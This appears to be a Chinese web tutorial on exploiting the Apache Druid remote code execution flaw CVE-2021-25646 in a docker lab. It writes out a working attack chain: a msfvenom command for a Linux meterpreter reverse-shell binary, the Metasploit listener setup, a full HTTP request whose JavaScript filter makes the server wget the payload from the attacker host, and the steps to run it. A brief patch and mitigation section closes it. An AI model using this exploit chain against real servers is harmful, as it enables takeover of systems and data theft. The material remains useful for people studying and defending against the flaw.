您好,登录后才能下订单哦!
这篇文章给大家介绍如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
近日Apache Druid官方发布了安全更新,修复远程代码执行漏洞(CVE-2021-25646)
Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。
本次使用的攻击机地址为:192.168.159.131 靶机地址:192.168.159.139
1、使用MSF生成反弹shell的木马程序,命令为:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=5555 -f elf > reverse.elf
备注:我这边使用的靶机是64位系统,所以选择的x64攻击负载,32位系统可以选择x86
2、在攻击机上使用python开启web服务,下文将通过Apache Druid 远程代码执行漏洞执行wget命令,从刚搭建的web服务商下载msf生成的reverse.elf文件
3、使用MSF开启监听模块,命令为:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.159.131
set lport 5555
run
1、从https://github.com/apache/druid/releases/tag/druid-0.19.0下载Druid0.19版本,如下图所示
2、使用docker搭建Druid漏洞环境,解压下载的文件,进入druid-druid-0.19.0/distribution/docker路径使用docker-compose up –d搭建漏洞环境,完成之后访问http://192.168.159.139:8888
3、将下面的poc复制到burpsuit的repeater模块,攻击载荷中最终执行的命令为:wget http://192.168.159.131:888/reverse.elf,从搭建的web服务器上将反弹shell木马程序下载到靶机上
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.159.139:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=UTF-8
Content-Length: 931
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.159.131:888/reverse.elf')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
4、将下载到靶机上的reverse.elf恶意程序赋予可执行权限,命令为:chmod a+x reverse.elf
5、执行reverse.elf程序,执行命令为: ./reverse.elf
6、msf成功收到反弹的shell
Apache Druid <= 0.20.0
高危
Apache Druid 官方已在新版本中修复此漏洞,请升级至0.20.1及以上版本,下载链接:https://github.com/apache/druid/releases/tag/druid-0.20.1
若暂时无法升级,可以通过以下方法临时缓解影响:
设置网络访问控制策略,只允许可信任的内网IP访问Druid。
引入druid-basic-security扩展添加授权认证。
关于如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。